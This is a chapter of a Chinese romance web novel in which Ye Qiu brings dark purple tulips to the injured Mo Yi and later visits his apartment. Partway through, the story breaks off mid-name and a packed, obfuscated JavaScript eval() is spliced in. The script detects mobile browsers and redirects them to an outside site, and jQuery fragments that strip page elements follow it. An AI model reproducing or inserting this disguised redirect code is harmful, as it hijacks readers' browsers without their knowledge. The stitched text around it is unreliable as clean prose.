48. 郁金香·花店

作品:《似此旧星辰[男替身]

    有些人在心态焦虑忐忑时,总习惯把将要发生的事在心中排演成百上千遍。


    叶秋便是其中之一。


    因为想过了很多次,最后去医院的路上,反而仿佛是顺理成章般自然。


    周末的医院门口堵车很厉害。


    或许不仅仅是周日,这里成日成日的车水马龙、车流如织。急救车的鸣笛尖利,似乎要营造出一种叫人慌乱难过的氛围。


    看病人总不好空着手,叶秋想了想,打算买一束花。


    她站在医院门口唯一一间花店门前,很小的门面被姹紫嫣红的花朵包围点缀,康乃馨太温柔,白百合太素净,红玫瑰又显得过于热烈……


    她拿捏不定,老板趁机向她推销起已经包装好的精致花束:“是看病人吗?看病人的话,这种香槟玫瑰搭配向日葵的就可以,混搭的不出错,寓意好,颜色也喜庆好看。”


    叶秋不喜欢,向店子深处走了两步。


    靠里间的暖房里放着些小盆栽,其中一盆绿油油的叶子极有生气,结着零星几簇雪白的花骨朵,小小似米粒,很不起眼。


    不起眼到仿佛并不会开花。


    叶秋隔着道透明帘子指那盆花,问:“这是什么花?”


    老板亦步亦趋地跟在她身后,答:“宝珠茉莉。”


    跟着又劝:“看病人送白花多不合适呀,况且还没开花。现在天气太冷了,这花只有养在暖房里才能开花,不会养的话很难养活,死了多可惜呀。”


    叶秋执拗起来:“我就想要这个,这花多少钱?”


    老板报了价格。


    有些偏高,但叶秋还是一时脑热买了单,捧着劣质塑料花盆走到医院大楼楼下时,她开始反悔。


    茉莉,莫离。


    这花名的含义有些暧昧。


    她又折返回花店。


    老板在门口给花喷水,看见她诧异道:“怎么了?”


    “老板,”叶秋有些不好意思,“这花我想自己留着,我重新买一束花,这个先寄存在你这儿,等我看完朋友再回来拿吧。”


    老板旋即笑起来:“行啊,没问题,这回想选什么花?”


    最后,叶秋在那堆姹紫嫣红的角落里捞出一把不起眼的深紫色郁金香。


    细细长长的茎叶,紫到发黑的花瓣有着如丝绸般的光泽,边缘已经微微卷曲,花开得极盛,渐渐有败落的势头,却仍保持着一种倔强的美。


    老板满脸纳闷:“怎么选上这个了?这花都快开败了,我放在角上准备处理的呢。”


    叶秋却说:“这颜色好看,很矜贵。”


    老板继续劝:“可是放不了两天了呀。”


    叶秋还是说:“就这个吧。”


    花很快被包装好,一束这么捧在怀里更显精致。


    一如叶秋想的那样,这花的颜色和质感矜贵而神秘,很符合莫怿的气质。


    莫怿见着花倒是很开心,在病床上支起身子问:“送我的?”


    病房里没有其他人,唯一照顾他的护工小江在叶秋进门时出去了。


    他半靠在洁白的枕头上,左腿打着石膏悬在半空,模样有些狼狈。


    但没有丝毫减少他的俊朗。


    只不过洗去铅华,褪了些精英气质,刘海自然地服帖在额头前,像个涉世不深的少年郎。


    叶秋还是第一回见他这副模样,一时有些怔忪。


    见他难掩的兴奋神色,真怕他从病床上摔下来。


    她连忙放下花上前,帮他把床摇起来,又在他背后塞了一只松软的枕头,让他坐得舒服些。


    莫怿的声音有些沙哑,唇角泛着抹柔软笑意:“花很漂亮,我很喜欢。”


    叶秋退了几步,在床角的凳子上坐下,浅笑道:“喜欢就好。”


    他目光灼灼地盯着她,说:“我还以为你不会来。”


    叶秋避开他的目光,轻描淡写地说:“毕竟你是莫恬的哥哥,总该来看你一眼的。”


    这话让场面一时有些冷,但她也不好刚到就立刻离开。


    叶秋不知该说些什么,只好和莫怿扯刚刚来时的见闻。


    说自己不熟悉医院的路线,跑错了门诊部,结果门诊部的大厅在施工,围着一圈警示牌,她绕了好大一圈才找到住院部。


    莫怿诧异地挑眉:“施工?”


    叶秋“嗯”了一声,想了想说:“好像在焊二楼的栏杆。”


    顿了顿,她又神色古怪地问:“该不会和你有关吧?我听莫恬说了你受伤的原委。”


    莫怿失笑。


    他的受伤被定义成工伤。


    科室里的同事来探望他时提起过,因为他这次摔下来的影响很大,医院要加强安保措施,还要对现有的栏杆进行整改,加高,加固。


    却没想到这么快就实施。


    他避重就轻地说:“都是意外。”


    叶秋轻轻蹙眉:“你难道不怕死吗?就这样傻乎乎地冲上去。”


    他说:“当然怕。”


    “那你还不小心一点。”


    “可情况紧急,我没时间想那么多。”他有些难为情地笑了笑,“不过也没帮上什么忙,还添乱了。”


    深秋的阳光透过层薄薄纱帘照进病房里,窗外的一片梧桐叶旋转着坠落,投下一瞬而逝的斑驳影子。


    有什么念头一闪而过,莫怿忽然问:“万一我这回运气不好,就这样彻底消失在这个世界上,你会难过吗?”


    叶秋微微一怔,继而认真说:“当然会难过。”


    他又问:“那你会哭吗?”


    她许久才开口:“可能不会……”


    他难掩神色中的失望。


    “我外婆过世的时候,我在灵堂上都没有哭。”叶秋手指无意识攥住了衣角,指节泛白,“可能,我对死亡的感知不太敏感。”


    他笑起来:“真残忍。”


    她亦笑:“是你先提起这个残忍的话题。”


    他勇于承认错误:“是我的错。”


    叶秋静静地说:“但是,如果有一天你真的……真的不见了,我也许会想念你。”


    他再次确认:“真的吗?”


    她笑一笑,站起身走到窗前,看着楼下花园里稀疏的病人。


    风从半开的窗缝钻进来,带着深秋特有的凉意,拂动薄薄的纱帘。最后一片梧桐叶终于逃离了枝头,在风中打了个旋,轻轻落在窗台上。


    她没有回答莫怿的问题,借口有事,匆匆地逃了。


    叶秋在自己的房间里养起了花。


    如花店老板说的那样,冬季的茉莉不好养。


    原本在花店的暖房里已经长出了零星的花骨朵,她搬回家后,花骨朵接二连三地掉了,最后一颗也不剩。


    果然还是要养在暖房里,但她总不能天天给一盆花开空调吧……


    叶秋发愁,心情不算好。


    莫恬好些天早出晚归,画稿的剧情需要交流时,还得提前预约她的时间。


    叶秋好奇,问了一嘴她最近在忙些什么。


    这一问,打开了莫恬的话匣子。


    她郁闷地吐槽:“我哥出院了,但他不愿意回家住,非要自己一个人住在公寓里,只请了一个临时护工照顾他。我妈不放心,让我每天去看着,他倒是不像犯人,但我却像个狱警——啊,不!我像个保安!”


    叶秋忍俊不禁。


    莫恬越说越气,开始碎碎念:“你说他是不是故意折腾我?腿都摔成那样了,还非要逞强。而且他请的护工动作慢吞吞的,连个水果都削不利索,每天都等着我家里的阿姨过来送饭。”


    “说到这个更无语了!明明家里有阿姨做饭照顾他,他偏偏不要,说自己叫外卖。但我妈哪舍得让他这个伤员吃外卖呀!现在阿姨还得做了饭给他送过去,这不是折腾人嘛!”


    叶秋觉得哭笑不得。


    莫恬向她大倒苦水,最后说:“叶秋,要不然你跟我一起去我哥那里吧。”


    提议太突然,叶秋一时没反应过来:“啊?”


    莫恬眼里闪着兴奋的光:“你跟我一起去我哥那里,我又能跟你交流工作,又能照顾我哥,一举两得呀!”


    叶秋的脑袋摇得像拨浪鼓:“这不太好吧,打扰病人休息的。”


    “没关系,”莫恬打包票,“我跟我哥说说,他肯定同意。”


    莫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568275|186528||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    恬最会撒娇,又擅长软磨硬泡,叶秋拿她没办法,跟着她一起去了莫怿独居的房子。


    房子在医院附近,地段很好,属于热闹的商区,却闹中取静。


    小区里的绿化率很高,看得出开发商在此下了成本,即便是快入冬,周围也是绿树成荫。


    莫怿家并不大,装潢亦简洁,但收拾得很干净。


    擦拭得光滑如镜的茶几上,摆着一瓶深紫色的郁金香。


    叶秋一时没反应过来,傻傻问他:“这花还没谢呢?”


    其实距离她去医院探病已经过去一周的时间,而瓶插里的花束含苞待放,依然新鲜娇嫩。


    这不是她送的那束。


    莫怿靠坐在客厅的沙发上,腿上盖着一条薄毯,望着她“唔”了一声说:“这花挺好看的,我见医院门口有卖,就随手买了一束。”


    叶秋站在原地,有些局促地拂了下耳边的碎发:“哦,这样啊。”


    *


    莫怿出院那天,叶秋送的郁金香谢了。


    他死活要带走,可抱着一束凋谢的花回家可不是什么好意头。


    吴舒乔不让,好说歹说才劝下了。


    莫怿坐在轮椅上,严肃地提要求:“我要去花店再买束一样的。”


    结果到了店里打眼望去,红的、粉的、白的、黄的郁金香都有,就是没有深紫色的。


    他不死心,问老板有没有深紫色的郁金香。


    老板一拍大腿,说不凑巧,前两天刚卖完,而且因为销量不好,所以这一批没有进货。


    莫怿不高兴了:“那花挺漂亮的,而且颜色高级,为什么销量不好?”


    老板耐心说:“这颜色的郁金香好看是好看,但是在医院门口不畅销,人家探病都喜欢送些喜庆的、明亮的、红红的,什么火百合、康乃馨之类的。前些天有个姑娘来买紫色郁金香送病人时,我还觉得纳闷呢。”


    莫怿不自觉喃喃:“是么……眼光真好。”


    “确实眼光不错。”老板附和,“她还一眼挑中我精心培育的宝珠茉莉,都结花苞了,也不知道她养的怎么样。”


    莫怿想了想问:“老板,你这儿可以订花吗?”


    “当然可以。”


    “我想订紫色郁金香,深紫色的。”


    老板很爽快:“行啊,我进货的时候给你带。”


    他订了紫色郁金香,送货上门,一周一次。


    顿了顿又问:“那个,你刚刚说的宝珠茉莉还有吗?”


    老板瞥他一眼,回答得干脆利落:“没了。”


    回家养了一周的伤,要比在医院自在得多。


    说起来,莫怿的伤也不算太严重,但腿上打着的石膏一直连着脚掌,沉甸甸地坠着,行动实在是不方便。


    要不是吴舒乔强烈要求找个护工照顾他,他还真不想有不熟悉的人来他家里。


    但有人照顾终究是省心省力,唯一解决不了的是,石膏内的皮肤发痒时,他挠不着。


    那种感觉像是抓心挠肝。


    莫怿躺在沙发上摸着自己打石膏的腿,犹如隔靴搔痒。


    他很难受,一回首,看见自己的书房里叶秋埋头工作的身影,心里很不是滋味。


    她穿着件浅蓝色的套头毛衣,头发松松挽着,对着笔记本电脑敲敲打打。


    莫怿突然起了坏心思,叫嚷起来:“好无聊啊。”


    护工小江今天还没来,压根没人理他。


    莫怿不死心,继续叫道:“好渴啊,怎么没有水呀?”


    话音刚落,莫恬踩着拖鞋噼里啪啦走出来给他倒水。


    倒完水后,亮出一个官方笑容问他:“您还有什么吩咐么?”


    莫怿哼一声,阴阳怪气:“没有,怎敢劳您大驾呢,我一个人好着呢,刚刚已经和我的石膏达成了和解。”


    莫恬继续微笑:“那您继续。”


    说完,转身往书房走。


    “等一下!”莫怿叫住她,绷着脸说,“打把游戏?”


    莫恬皱起眉头:“不要,我还要工作。”


    “交给你一个任务。”他压低声音斜睨她一眼,“叫上叶秋一起打。”